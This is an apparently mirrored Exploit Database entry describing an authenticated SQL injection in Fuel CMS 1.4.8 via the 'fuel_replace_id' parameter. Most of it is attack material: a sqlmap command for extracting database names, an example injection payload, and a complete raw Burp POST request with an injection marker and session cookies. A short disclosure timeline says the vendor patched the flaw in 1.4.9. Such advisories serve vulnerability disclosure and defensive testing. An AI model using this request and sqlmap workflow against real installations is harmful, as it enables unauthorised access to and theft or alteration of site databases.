Fuel CMS 1.4.8 – ‘fuel_replace_id’ SQL Injection (Authenticated)

• Exploit Database
• 36 阅读

• 作者： c0mpu7er
  日期： 2020-08-31
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48778/

• # Exploit Title: Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated)
  # Date: 2020-08-19
  # Exploit Author: c0mpu7er（@ymbank.cn）
  # Vendor Homepage: https://www.getfuelcms.com/
  # Software Link: https://github.com/daylightstudio/FUEL-CMS/archive/1.4.8.zip
  # Version: 1.4.7
  # Tested on: PHP 5.4.45, Apache 2.4.23 ,mysql 5.0
  
  
  1. Description:
  ----------------------
  
  FUEL CMS 1.4.8 allows SQL Injection via parameter 'fuel_replace_id' in pages/replace/1
  Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
  
  2. Proof of Concept:
  ----------------------
  
  In Burpsuite intercept the request from one of the affected pages with 'fuel_replace_id' parameter and save it like 33.txt
  Then run SQLmap to extract the data from the database:
  
  python sqlmap.py -r 33.txt --dbs
  
  3.Example payload:
  
  Content-Disposition: form-data; name="fuel_replace_id"
  
  11%27
  
  
  
  4. Burpsuite request payload:
  ----------------------
  
  POST /FUEL-CMS-1.4.8/fuel/pages/replace/1?inline=1 HTTP/1.1
  Host: 192.168.1.12
  Content-Length: 347
  Cache-Control: max-age=0
  Upgrade-Insecure-Requests: 1
  Origin: http://192.168.1.12
  Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygI1zKZoBINTcL87g
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  Referer: http://192.168.1.12/FUEL-CMS-1.4.8/fuel/pages/replace/1?lang=english
  Accept-Encoding: gzip, deflate
  Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  Cookie: fuel_ac82b68172fd46789948eb8e66216180=a%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22language%22%3Bs%3A0%3A%22%22%3B%7D; fuel_ui_ac82b68172fd46789948eb8e66216180=%257B%2522leftnav_h3%2522%253A%25220%257C0%257C0%257C0%2522%252C%2522fuel_pages_items%2522%253A%2522list%2522%252C%2522tabs_pages_create%2522%253A%25220%2522%252C%2522fuel_navigation_items%2522%253A%2522list%2522%252C%2522tabs_navigation_create%2522%253A%25220%2522%252C%2522tabs_pages_edit_1%2522%253A%25220%2522%257D; ci_session=db8df72tccrt8vnr2uaqnckv5ak4n135
  Connection: close
  
  ------WebKitFormBoundarygI1zKZoBINTcL87g
  Content-Disposition: form-data; name="fuel_replace_id"
  
  11*
  ------WebKitFormBoundarygI1zKZoBINTcL87g
  Content-Disposition: form-data; name="Submit"
  
  Submit
  ------WebKitFormBoundarygI1zKZoBINTcL87g
  Content-Disposition: form-data; name="fuel_inline"
  
  1
  ------WebKitFormBoundarygI1zKZoBINTcL87g--
  5. Timeline:
  ----------------------
  
  2020-08-20: SQLi vulnerability found in Fuel CMS 1.4.8
  2020-08-20: Reported vulnerability to vendor
  2020-08-22: Vendor has patched the SQLi vulnerability in version 1.4.9